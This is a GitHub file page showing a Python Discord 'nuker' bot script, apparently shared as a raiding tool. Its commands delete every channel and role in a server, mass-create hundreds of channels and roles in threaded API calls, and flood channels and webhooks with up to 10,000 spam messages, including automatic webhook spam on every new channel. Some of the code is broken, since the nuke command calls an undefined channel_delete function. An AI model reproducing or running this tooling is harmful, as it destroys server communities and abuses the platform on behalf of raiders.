-
Notifications
You must be signed in to change notification settings - Fork 6
/
nuker.py
164 lines (144 loc) · 4.52 KB
/
nuker.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
import sys, discord, requests, json, threading, random, asyncio,aiohttp, time
from discord.ext import commands
import colorama
from colorama import Fore, Style, Back
from time import sleep
from datetime import datetime
now = datetime.now()
ftime = now.strftime("%H:%M:%S")
session = requests.Session()
token = input("Token: ")
prefix = input("Prefix: ")
stats = input("Status: ")
chan = input("Channel Name: ")
spamdata = input("Spam content: ")
rol = input("Spam Roles: ")
webname = input("Spam Webhook names: ")
amountss = 1000
intents = discord.Intents().all()
intents.message_content = True
bot = commands.Bot(command_prefix=prefix, intents=intents)
bot.remove_command("help")
if bot:
headers = {
"Authorization":
f"Bot {token}"
}
else:
headers = {
"Authorization":
token
}
@bot.event
async def on_ready():
await bot.change_presence(activity=discord.Game(stats))
print("""$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$$\ $$$$$$$\ $$\ $$\ $$\ $$\ $$$$$$$\
$$ | $$ |\_$$ _|$$ __$$\ $$ _____|$$ __$$\ $$$\ $$ |$$ | $$ |$$ __$$\
$$ | $$ | $$ | $$ | $$ |$$ | $$ | $$ | $$$$\ $$ |$$ |$$ / $$ | $$ |
\$$\ $$ | $$ | $$$$$$$ |$$$$$\ $$$$$$$ | $$ $$\$$ |$$$$$ / $$$$$$$ |
\$$\$$ / $$ | $$ ____/ $$ __| $$ __$$< $$ \$$$$ |$$ $$< $$ __$$<
\$$$ / $$ | $$ | $$ | $$ | $$ | $$ |\$$$ |$$ |\$$\ $$ | $$ |
\$ / $$$$$$\ $$ | $$$$$$$$\ $$ | $$ | $$ | \$$ |$$ | \$$\ $$ | $$ |
\_/ \______|\__| \________|\__| \__| \__| \__|\__| \__|\__| \__|
""")
print("Commands - nuke,scc,sdc,sdr,scr,spam,swh")
print(f"Logged in as {bot.user.name}")
print(f"Prefix - {prefix}")
print("Have fun!")
def logo():
print(f"Logged in as {bot.user.name}")
print(f"Prefix - {prefix}")
@bot.command()
async def scc(ctx):
await ctx.message.delete()
guild = ctx.guild.id
def spc(i):
json = {
"name": i
}
session.post(
f"https://discord.com/api/v9/guilds/{guild}/channels",
headers=headers,
json=json
)
for i in range(500):
threading.Thread(
target=spc,
args=(chan, )
).start()
@bot.command()
async def scr(ctx):
await ctx.message.delete()
guild = ctx.guild.id
def scrr(i):
json = {
"name": i
}
session.post(
f"https://discord.com/api/v9/guilds/{guild}/roles",
headers=headers,
json=json
)
for i in range(250):
threading.Thread(
target=scrr,
args=(chan, )
).start()
@bot.command()
async def sdr(ctx):
await ctx.message.delete()
for role in list(ctx.guild.roles):
await role.delete()
@bot.command()
async def nuke(ctx):
await ctx.message.delete()
guild = ctx.guild.id
for channel in list(ctx.guild.channels):
await channel.delete()
def cc(i):
json = {
"name": i
}
session.post(
f"https://discord.com/api/v9/guilds/{guild}/channels",
headers=headers,
json=json
)
for i in range(250):
for channel in list(ctx.guild.channels):
threading.Thread(
target=channel_delete,
args=(channel.id, )
).start()
for i in range(250):
threading.Thread(
target=cc,
args=(chan, )
).start()
@bot.command()
async def sdc(ctx):
for channel in list(ctx.guild.channels):
await channel.delete()
@bot.command()
async def spam(ctx):
await ctx.message.delete()
amountspam = 1000
for i in range(amountspam):
for channel in ctx.guild.channels:
await channel.send(spamdata)
@bot.command()
async def swh(ctx):
await ctx.message.delete()
amountspam = 10000
for i in range(amountspam):
for webhook in ctx.guild.webhooks:
await webhook.send(spamdata)
@bot.event
async def on_guild_channel_create(channel):
try:
webhook = await channel.create_webhook(name=webname)
for i in range(10000):
await webhook.send(spamdata)
except:
print("Ratelimited")
bot.run(token)